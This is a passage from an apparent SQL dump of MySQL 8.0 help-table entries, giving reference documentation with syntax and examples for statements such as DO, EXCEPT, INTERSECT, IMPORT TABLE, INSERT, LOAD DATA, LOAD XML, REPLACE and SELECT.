PARTITION (p0) WHERE c < 5 deletes rows only from\npartition p0 for which the condition c < 5 is true; rows in any other\npartitions are not checked and thus not affected by the DELETE.\n\nThe PARTITION clause can also be used in multiple-table DELETE\nstatements. You can use up to one such option per table named in the\nFROM option.\n\nFor more information and examples, see\nhttps://dev.mysql.com/doc/refman/8.0/en/partitioning-selection.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/delete.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/delete.html'),(545,'DO',41,'Syntax:\nDO expr [, expr] ...\n\nDO executes the expressions but does not return any results. In most\nrespects, DO is shorthand for SELECT expr, ..., but has the advantage\nthat it is slightly faster when you do not care about the result.\n\nDO is useful primarily with functions that have side effects, such as\nRELEASE_LOCK().\n\nExample: This SELECT statement pauses, but also produces a result set:\n\nmysql> SELECT SLEEP(5);\n+----------+\n| SLEEP(5) |\n+----------+\n| 0 |\n+----------+\n1 row in set (5.02 sec)\n\nDO, on the other hand, pauses without producing a result set.:\n\nmysql> DO SLEEP(5);\nQuery OK, 0 rows affected (4.99 sec)\n\nThis could be useful, for example in a stored function or trigger,\nwhich prohibit statements that produce result sets.\n\nDO only executes expressions. It cannot be used in all cases where\nSELECT can be used. For example, DO id FROM t1 is invalid because it\nreferences a table.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/do.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/do.html'),(546,'EXCEPT',41,'Syntax:\nquery_expression_body EXCEPT [ALL | DISTINCT] query_expression_body\n [EXCEPT [ALL | DISTINCT] query_expression_body]\n [...]\n\nquery_expression_body:\n See \n\nEXCEPT limits the result from the first query block to those rows which\nare (also) not found in the second. As with UNION and INTERSECT, either\nquery block can make use of any of SELECT, TABLE, or VALUES. An example\nusing the tables a, b, and c defined in [HELP INTERSECT], is shown\nhere:\n\nmysql> TABLE a EXCEPT TABLE b;\n+------+------+\n| m | n |\n+------+------+\n| 2 | 3 |\n+------+------+\n1 row in set (0.00 sec)\n\nmysql> TABLE a EXCEPT TABLE c;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 2 |\n| 2 | 3 |\n+------+------+\n2 rows in set (0.00 sec)\n\nmysql> TABLE b EXCEPT TABLE c;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 2 |\n+------+------+\n1 row in set (0.00 sec)\n\nAs with UNION and INTERSECT, if neither DISTINCT nor ALL is specified,\nthe default is DISTINCT.\n\nDISTINCT removes duplicates found on either side of the relation, as\nshown here:\n\nmysql> TABLE c EXCEPT DISTINCT TABLE a;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 3 |\n+------+------+\n1 row in set (0.00 sec)\n\nmysql> TABLE c EXCEPT ALL TABLE a;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 3 |\n| 1 | 3 |\n+------+------+\n2 rows in set (0.00 sec)\n\n(The first statement has the same effect as TABLE c EXCEPT TABLE a.)\n\nUnlike UNION or INTERSECT, EXCEPT is not commutative---that is, the\nresult depends on the order of the operands, as shown here:\n\nmysql> TABLE a EXCEPT TABLE c;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 2 |\n| 2 | 3 |\n+------+------+\n2 rows in set (0.00 sec)\n\nmysql> TABLE c EXCEPT TABLE a;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 3 |\n+------+------+\n1 row in set (0.00 sec)\n\nAs with UNION, the result sets to be compared must have the same number\nof columns. Result set column types are also determined as for UNION.\n\nEXCEPT was added in MySQL 8.0.31.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/except.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/except.html'),(547,'HANDLER',41,'Syntax:\nHANDLER tbl_name OPEN [ [AS] alias]\n\nHANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)\n [ WHERE where_condition ] [LIMIT ... ]\nHANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }\n [ WHERE where_condition ] [LIMIT ... ]\nHANDLER tbl_name READ { FIRST | NEXT }\n [ WHERE where_condition ] [LIMIT ... ]\n\nHANDLER tbl_name CLOSE\n\nThe HANDLER statement provides direct access to table storage engine\ninterfaces. It is available for InnoDB and MyISAM tables.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/handler.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/handler.html'),(548,'IMPORT TABLE',41,'Syntax:\nIMPORT TABLE FROM sdi_file [, sdi_file] ...\n\nThe IMPORT TABLE statement imports MyISAM tables based on information\ncontained in .sdi (serialized dictionary information) metadata files.\nIMPORT TABLE requires the FILE privilege to read the .sdi and table\ncontent files, and the CREATE privilege for the table to be created.\n\nTables can be exported from one server using mysqldump to write a file\nof SQL statements and imported into another server using mysql to\nprocess the dump file. IMPORT TABLE provides a faster alternative using\nthe \"raw\" table files.\n\nPrior to import, the files that provide the table content must be\nplaced in the appropriate schema directory for the import server, and\nthe .sdi file must be located in a directory accessible to the server.\nFor example, the .sdi file can be placed in the directory named by the\nsecure_file_priv system variable, or (if secure_file_priv is empty) in\na directory under the server data directory.\n\nThe following example describes how to export MyISAM tables named\nemployees and managers from the hr schema of one server and import them\ninto the hr schema of another server. The example uses these\nassumptions (to perform a similar operation on your own system, modify\nthe path names as appropriate):\n\no For the export server, export_basedir represents its base directory,\n and its data directory is export_basedir/data.\n\no For the import server, import_basedir represents its base directory,\n and its data directory is import_basedir/data.\n\no Table files are exported from the export server into the /tmp/export\n directory and this directory is secure (not accessible to other\n users).\n\no The import server uses /tmp/mysql-files as the directory named by its\n secure_file_priv system variable.\n\nTo export tables from the export server, use this procedure:\n\n1. Ensure a consistent snapshot by executing this statement to lock the\n tables so that they cannot be modified during export:\n\nmysql> FLUSH TABLES hr.employees, hr.managers WITH READ LOCK;\n\n While the lock is in effect, the tables can still be used, but only\n for read access.\n\n2. At the file system level, copy the .sdi and table content files from\n the hr schema directory to the secure export directory:\n\n o The .sdi file is located in the hr schema directory, but might not\n have exactly the same basename as the table name. For example, the\n .sdi files for the employees and managers tables might be named\n employees_125.sdi and managers_238.sdi.\n\n o For a MyISAM table, the content files are its .MYD data file and\n .MYI index file.\n\n Given those file names, the copy commands look like this:\n\n$> cd export_basedir/data/hr\n$> cp employees_125.sdi /tmp/export\n$> cp managers_238.sdi /tmp/export\n$> cp employees.{MYD,MYI} /tmp/export\n$> cp managers.{MYD,MYI} /tmp/export\n\n3. Unlock the tables:\n\nmysql> UNLOCK TABLES;\n\nTo import tables into the import server, use this procedure:\n\n1. The import schema must exist. If necessary, execute this statement\n to create it:\n\nmysql> CREATE SCHEMA hr;\n\n2. At the file system level, copy the .sdi files to the import server\n secure_file_priv directory, /tmp/mysql-files. Also, copy the table\n content files to the hr schema directory:\n\n$> cd /tmp/export\n$> cp employees_125.sdi /tmp/mysql-files\n$> cp managers_238.sdi /tmp/mysql-files\n$> cp employees.{MYD,MYI} import_basedir/data/hr\n$> cp managers.{MYD,MYI} import_basedir/data/hr\n\n3. Import the tables by executing an IMPORT TABLE statement that names\n the .sdi files:\n\nmysql> IMPORT TABLE FROM\n \'/tmp/mysql-files/employees.sdi\',\n \'/tmp/mysql-files/managers.sdi\';\n\nThe .sdi file need not be placed in the import server directory named\nby the secure_file_priv system variable if that variable is empty; it\ncan be in any directory accessible to the server, including the schema\ndirectory for the imported table. If the .sdi file is placed in that\ndirectory, however, it may be rewritten; the import operation creates a\nnew .sdi file for the table, which overwrites the old .sdi file if the\noperation uses the same file name for the new file.\n\nEach sdi_file value must be a string literal that names the .sdi file\nfor a table or is a pattern that matches .sdi files. If the string is a\npattern, any leading directory path and the .sdi file name suffix must\nbe given literally. Pattern characters are permitted only in the base\nname part of the file name:\n\no ? matches any single character\n\no * matches any sequence of characters, including no characters\n\nUsing a pattern, the previous IMPORT TABLE statement could have been\nwritten like this (assuming that the /tmp/mysql-files directory\ncontains no other .sdi files matching the pattern):\n\nIMPORT TABLE FROM \'/tmp/mysql-files/*.sdi\';\n\nTo interpret the location of .sdi file path names, the server uses the\nsame rules for IMPORT TABLE as the server-side rules for LOAD DATA\n(that is, the non-LOCAL rules). See [HELP LOAD DATA], paying particular\nattention to the rules used to interpret relative path names.\n\nIMPORT TABLE fails if the .sdi or table files cannot be located. After\nimporting a table, the server attempts to open it and reports as\nwarnings any problems detected. To attempt a repair to correct any\nreported issues, use REPAIR TABLE.\n\nIMPORT TABLE is not written to the binary log.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/import-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/import-table.html'),(549,'INSERT',41,'Syntax:\nINSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]\n [INTO] tbl_name\n [PARTITION (partition_name [, partition_name] ...)]\n [(col_name [, col_name] ...)]\n { {VALUES | VALUE} (value_list) [, (value_list)] ... }\n [AS row_alias[(col_alias [, col_alias] ...)]]\n [ON DUPLICATE KEY UPDATE assignment_list]\n\nINSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE]\n [INTO] tbl_name\n [PARTITION (partition_name [, partition_name] ...)]\n SET assignment_list\n [AS row_alias[(col_alias [, col_alias] ...)]]\n [ON DUPLICATE KEY UPDATE assignment_list]\n\nINSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE]\n [INTO] tbl_name\n [PARTITION (partition_name [, partition_name] ...)]\n [(col_name [, col_name] ...)]\n { SELECT ... \n | TABLE table_name \n | VALUES row_constructor_list\n }\n [ON DUPLICATE KEY UPDATE assignment_list]\n\nvalue:\n {expr | DEFAULT}\n\nvalue_list:\n value [, value] ...\n\nrow_constructor_list:\n ROW(value_list)[, ROW(value_list)][, ...]\n\nassignment:\n col_name = \n value\n | [row_alias.]col_name\n | [tbl_name.]col_name\n | [row_alias.]col_alias\n\nassignment_list:\n assignment [, assignment] ...\n\nINSERT inserts new rows into an existing table. The INSERT ... VALUES,\nINSERT ... VALUES ROW(), and INSERT ... SET forms of the statement\ninsert rows based on explicitly specified values. The INSERT ... SELECT\nform inserts rows selected from another table or tables. You can also\nuse INSERT ... TABLE in MySQL 8.0.19 and later to insert rows from a\nsingle table. INSERT with an ON DUPLICATE KEY UPDATE clause enables\nexisting rows to be updated if a row to be inserted would cause a\nduplicate value in a UNIQUE index or PRIMARY KEY. In MySQL 8.0.19 and\nlater, a row alias with one or more optional column aliases can be used\nwith ON DUPLICATE KEY UPDATE to refer to the row to be inserted.\n\nFor additional information about INSERT ... SELECT and INSERT ... ON\nDUPLICATE KEY UPDATE, see [HELP INSERT SELECT], and\nhttps://dev.mysql.com/doc/refman/8.0/en/insert-on-duplicate.html.\n\nIn MySQL 8.0, the DELAYED keyword is accepted but ignored by the\nserver. For the reasons for this, see [HELP INSERT DELAYED],\n\nInserting into a table requires the INSERT privilege for the table. If\nthe ON DUPLICATE KEY UPDATE clause is used and a duplicate key causes\nan UPDATE to be performed instead, the statement requires the UPDATE\nprivilege for the columns to be updated. For columns that are read but\nnot modified you need only the SELECT privilege (such as for a column\nreferenced only on the right hand side of an col_name=expr assignment\nin an ON DUPLICATE KEY UPDATE clause).\n\nWhen inserting into a partitioned table, you can control which\npartitions and subpartitions accept new rows. The PARTITION clause\ntakes a list of the comma-separated names of one or more partitions or\nsubpartitions (or both) of the table. If any of the rows to be inserted\nby a given INSERT statement do not match one of the partitions listed,\nthe INSERT statement fails with the error Found a row not matching the\ngiven partition set. For more information and examples, see\nhttps://dev.mysql.com/doc/refman/8.0/en/partitioning-selection.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/insert.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/insert.html'),(550,'INSERT SELECT',41,'Syntax:\nINSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE]\n [INTO] tbl_name\n [PARTITION (partition_name [, partition_name] ...)]\n [(col_name [, col_name] ...)]\n { SELECT ... \n | TABLE table_name \n | VALUES row_constructor_list\n }\n [ON DUPLICATE KEY UPDATE assignment_list]\n\n\nvalue:\n {expr | DEFAULT}\n\nvalue_list:\n value [, value] ...\n\nrow_constructor_list:\n ROW(value_list)[, ROW(value_list)][, ...]\n\nassignment:\n col_name = \n value\n | [row_alias.]col_name\n | [tbl_name.]col_name\n | [row_alias.]col_alias\n\nassignment_list:\n assignment [, assignment] ...\n\nWith INSERT ... SELECT, you can quickly insert many rows into a table\nfrom the result of a SELECT statement, which can select from one or\nmany tables. For example:\n\nINSERT INTO tbl_temp2 (fld_id)\n SELECT tbl_temp1.fld_order_id\n FROM tbl_temp1 WHERE tbl_temp1.fld_order_id > 100;\n\nBeginning with MySQL 8.0.19, you can use a TABLE statement in place of\nSELECT, as shown here:\n\nINSERT INTO ta TABLE tb;\n\nTABLE tb is equivalent to SELECT * FROM tb. It can be useful when\ninserting all columns from the source table into the target table, and\nno filtering with WHERE is required. In addition, the rows from TABLE\ncan be ordered by one or more columns using ORDER BY, and the number of\nrows inserted can be limited using a LIMIT clause. For more\ninformation, see [HELP TABLE].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/insert-select.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/insert-select.html'),(551,'INSERT DELAYED',41,'Syntax:\nINSERT DELAYED ...\n\nThe DELAYED option for the INSERT statement is a MySQL extension to\nstandard SQL. In previous versions of MySQL, it can be used for certain\nkinds of tables (such as MyISAM), such that when a client uses INSERT\nDELAYED, it gets an okay from the server at once, and the row is queued\nto be inserted when the table is not in use by any other thread.\n\nDELAYED inserts and replaces were deprecated in MySQL 5.6. In MySQL\n8.0, DELAYED is not supported. The server recognizes but ignores the\nDELAYED keyword, handles the insert as a nondelayed insert, and\ngenerates an ER_WARN_LEGACY_SYNTAX_CONVERTED\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_warn_legacy_syntax_converted) warning: INSERT DELAYED is\nno longer supported. The statement was converted to INSERT. The DELAYED\nkeyword is scheduled for removal in a future release.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/insert-delayed.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/insert-delayed.html'),(552,'INTERSECT',41,'Syntax:\nquery_expression_body INTERSECT [ALL | DISTINCT] query_expression_body\n [INTERSECT [ALL | DISTINCT] query_expression_body]\n [...]\n\nquery_expression_body:\n See \n\nINTERSECT limits the result from multiple query blocks to those rows\nwhich are common to all. Example:\n\nmysql> TABLE a;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 2 |\n| 2 | 3 |\n| 3 | 4 |\n+------+------+\n3 rows in set (0.00 sec)\n\nmysql> TABLE b;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 2 |\n| 1 | 3 |\n| 3 | 4 |\n+------+------+\n3 rows in set (0.00 sec)\n\nmysql> TABLE c;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 3 |\n| 1 | 3 |\n| 3 | 4 |\n+------+------+\n3 rows in set (0.00 sec)\n\nmysql> TABLE a INTERSECT TABLE b;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 2 |\n| 3 | 4 |\n+------+------+\n2 rows in set (0.00 sec)\n\nmysql> TABLE a INTERSECT TABLE c;\n+------+------+\n| m | n |\n+------+------+\n| 3 | 4 |\n+------+------+\n1 row in set (0.00 sec)\n\nAs with UNION and EXCEPT, if neither DISTINCT nor ALL is specified, the\ndefault is DISTINCT.\n\nDISTINCT can remove duplicates from either side of the intersection, as\nshown here:\n\nmysql> TABLE c INTERSECT DISTINCT TABLE c;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 3 |\n| 3 | 4 |\n+------+------+\n2 rows in set (0.00 sec)\n\nmysql> TABLE c INTERSECT ALL TABLE c;\n+------+------+\n| m | n |\n+------+------+\n| 1 | 3 |\n| 1 | 3 |\n| 3 | 4 |\n+------+------+\n3 rows in set (0.00 sec)\n\n(TABLE c INTERSECT TABLE c is the equivalent of the first of the two\nstatements just shown.)\n\nAs with UNION, the operands must have the same number of columns.\nResult set column types are also determined as for UNION.\n\nINTERSECT has greater precedence than and is evaluated before UNION and\nEXCEPT, so that the two statements shown here are equivalent:\n\nTABLE r EXCEPT TABLE s INTERSECT TABLE t;\n\nTABLE r EXCEPT (TABLE s INTERSECT TABLE t);\n\nFor INTERSECT ALL, the maximum supported number of duplicates of any\nunique row in the left hand table is 4294967295.\n\nINTERSECT was added in MySQL 8.0.31.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/intersect.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/intersect.html'),(553,'LOAD DATA',41,'Syntax:\nLOAD DATA\n [LOW_PRIORITY | CONCURRENT] [LOCAL]\n INFILE \'file_name\'\n [REPLACE | IGNORE]\n INTO TABLE tbl_name\n [PARTITION (partition_name [, partition_name] ...)]\n [CHARACTER SET charset_name]\n [{FIELDS | COLUMNS}\n [TERMINATED BY \'string\']\n [[OPTIONALLY] ENCLOSED BY \'char\']\n [ESCAPED BY \'char\']\n ]\n [LINES\n [STARTING BY \'string\']\n [TERMINATED BY \'string\']\n ]\n [IGNORE number {LINES | ROWS}]\n [(col_name_or_user_var\n [, col_name_or_user_var] ...)]\n [SET col_name={expr | DEFAULT}\n [, col_name={expr | DEFAULT}] ...]\n\nThe LOAD DATA statement reads rows from a text file into a table at a\nvery high speed. The file can be read from the server host or the\nclient host, depending on whether the LOCAL modifier is given. LOCAL\nalso affects data interpretation and error handling.\n\nLOAD DATA is the complement of SELECT ... INTO OUTFILE. (See\nhttps://dev.mysql.com/doc/refman/8.0/en/select-into.html.) To write\ndata from a table to a file, use SELECT ... INTO OUTFILE. To read the\nfile back into a table, use LOAD DATA. The syntax of the FIELDS and\nLINES clauses is the same for both statements.\n\nThe mysqlimport utility provides another way to load data files; it\noperates by sending a LOAD DATA statement to the server. See\nhttps://dev.mysql.com/doc/refman/8.0/en/mysqlimport.html.\n\nFor information about the efficiency of INSERT versus LOAD DATA and\nspeeding up LOAD DATA, see\nhttps://dev.mysql.com/doc/refman/8.0/en/insert-optimization.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/load-data.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/load-data.html'),(554,'LOAD XML',41,'Syntax:\nLOAD XML\n [LOW_PRIORITY | CONCURRENT] [LOCAL]\n INFILE \'file_name\'\n [REPLACE | IGNORE]\n INTO TABLE [db_name.]tbl_name\n [CHARACTER SET charset_name]\n [ROWS IDENTIFIED BY \'\']\n [IGNORE number {LINES | ROWS}]\n [(field_name_or_user_var\n [, field_name_or_user_var] ...)]\n [SET col_name={expr | DEFAULT}\n [, col_name={expr | DEFAULT}] ...]\n\nThe LOAD XML statement reads data from an XML file into a table. The\nfile_name must be given as a literal string. The tagname in the\noptional ROWS IDENTIFIED BY clause must also be given as a literal\nstring, and must be surrounded by angle brackets (< and >).\n\nLOAD XML acts as the complement of running the mysql client in XML\noutput mode (that is, starting the client with the --xml option). To\nwrite data from a table to an XML file, you can invoke the mysql client\nwith the --xml and -e options from the system shell, as shown here:\n\n$> mysql --xml -e \'SELECT * FROM mydb.mytable\' > file.xml\n\nTo read the file back into a table, use LOAD XML. By default, the \nelement is considered to be the equivalent of a database table row;\nthis can be changed using the ROWS IDENTIFIED BY clause.\n\nThis statement supports three different XML formats:\n\no Column names as attributes and column values as attribute values:\n\n\n\no Column names as tags and column values as the content of these tags:\n\n\n value1\n value2\n\n\no Column names are the name attributes of tags, and values are\n the contents of these tags:\n\n\n value1\n value2\n\n\n This is the format used by other MySQL tools, such as mysqldump.\n\nAll three formats can be used in the same XML file; the import routine\nautomatically detects the format for each row and interprets it\ncorrectly. Tags are matched based on the tag or attribute name and the\ncolumn name.\n\nPrior to MySQL 8.0.21, LOAD XML did not support CDATA sections in the\nsource XML. (Bug #30753708, Bug #98199)\n\nThe following clauses work essentially the same way for LOAD XML as\nthey do for LOAD DATA:\n\no LOW_PRIORITY or CONCURRENT\n\no LOCAL\n\no REPLACE or IGNORE\n\no CHARACTER SET\n\no SET\n\nSee [HELP LOAD DATA], for more information about these clauses.\n\n(field_name_or_user_var, ...) is a list of one or more comma-separated\nXML fields or user variables. The name of a user variable used for this\npurpose must match the name of a field from the XML file, prefixed with\n@. You can use field names to select only desired fields. User\nvariables can be employed to store the corresponding field values for\nsubsequent re-use.\n\nThe IGNORE number LINES or IGNORE number ROWS clause causes the first\nnumber rows in the XML file to be skipped. It is analogous to the LOAD\nDATA statement\'s IGNORE ... LINES clause.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/load-xml.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/load-xml.html'),(555,'PARENTHESIZED QUERY EXPRESSIONS',41,'Syntax:\nparenthesized_query_expression:\n ( query_expression [order_by_clause] [limit_clause] )\n [order_by_clause]\n [limit_clause]\n [into_clause]\n\nquery_expression:\n query_block [set_op query_block [set_op query_block ...]]\n [order_by_clause]\n [limit_clause]\n [into_clause]\n\nquery_block:\n SELECT ... | TABLE | VALUES\n\norder_by_clause:\n ORDER BY as for SELECT\n\nlimit_clause:\n LIMIT as for SELECT\n\ninto_clause:\n INTO as for SELECT\n\nset_op:\n UNION | INTERSECT | EXCEPT\n\nMySQL 8.0.22 and higher supports parenthesized query expressions\naccording to the preceding syntax. At its simplest, a parenthesized\nquery expression contains a single SELECT or other statement returning\na result set and no following optional clauses:\n\n(SELECT 1);\n(SELECT * FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME = \'mysql\');\n\nTABLE t;\n\nVALUES ROW(2, 3, 4), ROW(1, -2, 3);\n\n(Support for the TABLE and VALUES statements is available beginning\nwith MySQL 8.0.19.)\n\nA parenthesized query expression can also contain queries linked by one\nor more set operations such as UNION, and end with any or all of the\noptional clauses:\n\nmysql> (SELECT 1 AS result UNION SELECT 2);\n+--------+\n| result |\n+--------+\n| 1 |\n| 2 |\n+--------+\nmysql> (SELECT 1 AS result UNION SELECT 2) LIMIT 1;\n+--------+\n| result |\n+--------+\n| 1 |\n+--------+\nmysql> (SELECT 1 AS result UNION SELECT 2) LIMIT 1 OFFSET 1;\n+--------+\n| result |\n+--------+\n| 2 |\n+--------+\nmysql> (SELECT 1 AS result UNION SELECT 2)\n ORDER BY result DESC LIMIT 1;\n+--------+\n| result |\n+--------+\n| 2 |\n+--------+\nmysql> (SELECT 1 AS result UNION SELECT 2)\n ORDER BY result DESC LIMIT 1 OFFSET 1;\n+--------+\n| result |\n+--------+\n| 1 |\n+--------+\nmysql> (SELECT 1 AS result UNION SELECT 3 UNION SELECT 2)\n ORDER BY result LIMIT 1 OFFSET 1 INTO @var;\nmysql> SELECT @var;\n+------+\n| @var |\n+------+\n| 2 |\n+------+\n\nIn addition to UNION, the INTERSECT and EXCEPT set operators are\navailable beginning with MySQL 8.0.31. INTERSECT acts before UNION and\nEXCEPT, so that the following two statements are equivalent:\n\nSELECT a FROM t1 EXCEPT SELECT b FROM t2 INTERSECT SELECT c FROM t3;\n\nSELECT a FROM t1 EXCEPT (SELECT b FROM t2 INTERSECT SELECT c FROM t3);\n\nParenthesized query expressions are also used as query expressions, so\na query expression, usually composed of query blocks, may also consist\nof parenthesized query expressions:\n\n(TABLE t1 ORDER BY a) UNION (TABLE t2 ORDER BY b) ORDER BY z;\n\nQuery blocks may have trailing ORDER BY and LIMIT clauses, which are\napplied before the outer set operation, ORDER BY, and LIMIT.\n\nYou cannot have a query block with a trailing ORDER BY or LIMIT without\nwrapping it in parentheses but parentheses may be used for enforcement\nin various ways:\n\no To enforce LIMIT on each query block:\n\n(SELECT 1 LIMIT 1) UNION (VALUES ROW(2) LIMIT 1);\n\n(VALUES ROW(1), ROW(2) LIMIT 2) EXCEPT (SELECT 2 LIMIT 1);\n\no To enforce LIMIT on both query blocks and the entire query\n expression:\n\n(SELECT 1 LIMIT 1) UNION (SELECT 2 LIMIT 1) LIMIT 1;\n\no To enforce LIMIT on the entire query expression (with no\n parentheses):\n\nVALUES ROW(1), ROW(2) INTERSECT VALUES ROW(2), ROW(1) LIMIT 1;\n\no Hybrid enforcement: LIMIT on the first query block and on the entire\n query expression:\n\n(SELECT 1 LIMIT 1) UNION SELECT 2 LIMIT 1;\n\nThe syntax described in this section is subject to certain\nrestrictions:\n\no A trailing INTO clause for a query expression is not permitted if\n there is another INTO clause inside parentheses.\n\no Prior to MySQL 8.0.31, when ORDER BY or LIMIT occurred within a\n parenthesized query expression and was also applied in the outer\n query, the result was undefined. This is not an issue in MySQL 8.0.31\n and later, where this is handled in accordance with the SQL standard.\n\n Prior to MySQL 8.0.31, parenthesized query expressions did not permit\n multiple levels of ORDER BY or LIMIT operations, and statements\n containing these were rejected with ER_NOT_SUPPORTED_YET\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_supported_yet). In MySQL 8.0.31 and later, this\n restriction is lifted, and nested parenthesized query expressions are\n permitted. The maximum level of nesting supported is 63; this is\n after any simplifications or merges have been performed by the\n parser.\n\n An example of such a statement is shown here:\n\nmysql> (SELECT \'a\' UNION SELECT \'b\' LIMIT 2) LIMIT 3;\n+---+\n| a |\n+---+\n| a |\n| b |\n+---+\n2 rows in set (0.00 sec)\n\n You should be aware that, in MySQL 8.0.31 and later, when collapsing\n parenthesized expression bodies, MySQL follows SQL standard\n semantics, so that a higher outer limit cannot override an inner\n lower one. For example, (SELECT ... LIMIT 5) LIMIT 10 can return no\n more than five rows.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/parenthesized-query-expressions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/parenthesized-query-expressions.html'),(556,'REPLACE',41,'Syntax:\nREPLACE [LOW_PRIORITY | DELAYED]\n [INTO] tbl_name\n [PARTITION (partition_name [, partition_name] ...)]\n [(col_name [, col_name] ...)]\n { {VALUES | VALUE} (value_list) [, (value_list)] ...\n |\n VALUES row_constructor_list\n }\n\nREPLACE [LOW_PRIORITY | DELAYED]\n [INTO] tbl_name\n [PARTITION (partition_name [, partition_name] ...)]\n SET assignment_list\n\nREPLACE [LOW_PRIORITY | DELAYED]\n [INTO] tbl_name\n [PARTITION (partition_name [, partition_name] ...)]\n [(col_name [, col_name] ...)]\n {SELECT ... | TABLE table_name}\n\nvalue:\n {expr | DEFAULT}\n\nvalue_list:\n value [, value] ...\n\nrow_constructor_list:\n ROW(value_list)[, ROW(value_list)][, ...]\n\nassignment:\n col_name = value\n\nassignment_list:\n assignment [, assignment] ...\n\nREPLACE works exactly like INSERT, except that if an old row in the\ntable has the same value as a new row for a PRIMARY KEY or a UNIQUE\nindex, the old row is deleted before the new row is inserted. See [HELP\nINSERT].\n\nREPLACE is a MySQL extension to the SQL standard. It either inserts, or\ndeletes and inserts. For another MySQL extension to standard SQL---that\neither inserts or updates---see\nhttps://dev.mysql.com/doc/refman/8.0/en/insert-on-duplicate.html.\n\nDELAYED inserts and replaces were deprecated in MySQL 5.6. In MySQL\n8.0, DELAYED is not supported. The server recognizes but ignores the\nDELAYED keyword, handles the replace as a nondelayed replace, and\ngenerates an ER_WARN_LEGACY_SYNTAX_CONVERTED\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_warn_legacy_syntax_converted) warning: REPLACE DELAYED is\nno longer supported. The statement was converted to REPLACE. The\nDELAYED keyword is scheduled for removal in a future release. release.\n\n*Note*:\n\nREPLACE makes sense only if a table has a PRIMARY KEY or UNIQUE index.\nOtherwise, it becomes equivalent to INSERT, because there is no index\nto be used to determine whether a new row duplicates another.\n\nValues for all columns are taken from the values specified in the\nREPLACE statement. Any missing columns are set to their default values,\njust as happens for INSERT. You cannot refer to values from the current\nrow and use them in the new row. If you use an assignment such as SET\ncol_name = col_name + 1, the reference to the column name on the right\nhand side is treated as DEFAULT(col_name), so the assignment is\nequivalent to SET col_name = DEFAULT(col_name) + 1.\n\nIn MySQL 8.0.19 and later, you can specify the column values that\nREPLACE attempts to insert using VALUES ROW().\n\nTo use REPLACE, you must have both the INSERT and DELETE privileges for\nthe table.\n\nIf a generated column is replaced explicitly, the only permitted value\nis DEFAULT. For information about generated columns, see\nhttps://dev.mysql.com/doc/refman/8.0/en/create-table-generated-columns.\nhtml.\n\nREPLACE supports explicit partition selection using the PARTITION\nclause with a list of comma-separated names of partitions,\nsubpartitions, or both. As with INSERT, if it is not possible to insert\nthe new row into any of these partitions or subpartitions, the REPLACE\nstatement fails with the error Found a row not matching the given\npartition set. For more information and examples, see\nhttps://dev.mysql.com/doc/refman/8.0/en/partitioning-selection.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/replace.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/replace.html'),(557,'SELECT',41,'Syntax:\nSELECT\n [ALL | DISTINCT | DISTINCTROW ]\n [HIGH_PRIORITY]\n [STRAIGHT_JOIN]\n [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]\n [SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]\n select_expr [, select_expr] ...\n [into_option]\n [FROM table_references\n [PARTITION partition_list]]\n [WHERE where_condition]\n [GROUP BY {col_name | expr | position}, ... [WITH ROLLUP]]\n [HAVING where_condition]\n [WINDOW window_name AS (window_spec)\n [, window_name AS (window_spec)] ...]\n [ORDER BY {col_name | expr | position}\n [ASC | DESC], ... [WITH ROLLUP]]\n [LIMIT {[offset,] row_count | row_count OFFSET offset}]\n [into_option]\n [FOR {UPDATE | SHARE}\n [OF tbl_name [, tbl_name] ...]\n [NOWAIT | SKIP LOCKED]\n | LOCK IN SHARE MODE]\n [into_option]\n\ninto_option: {\n INTO OUTFILE \'file_name\'\n [CHARACTER SET charset_name]\n export_options\n | INTO DUMPFILE \'file_name\'\n | INTO var_name [, var_name] ...\n}\n\nSELECT is used to retrieve rows selected from one or more tables, and\ncan include UNION operations and 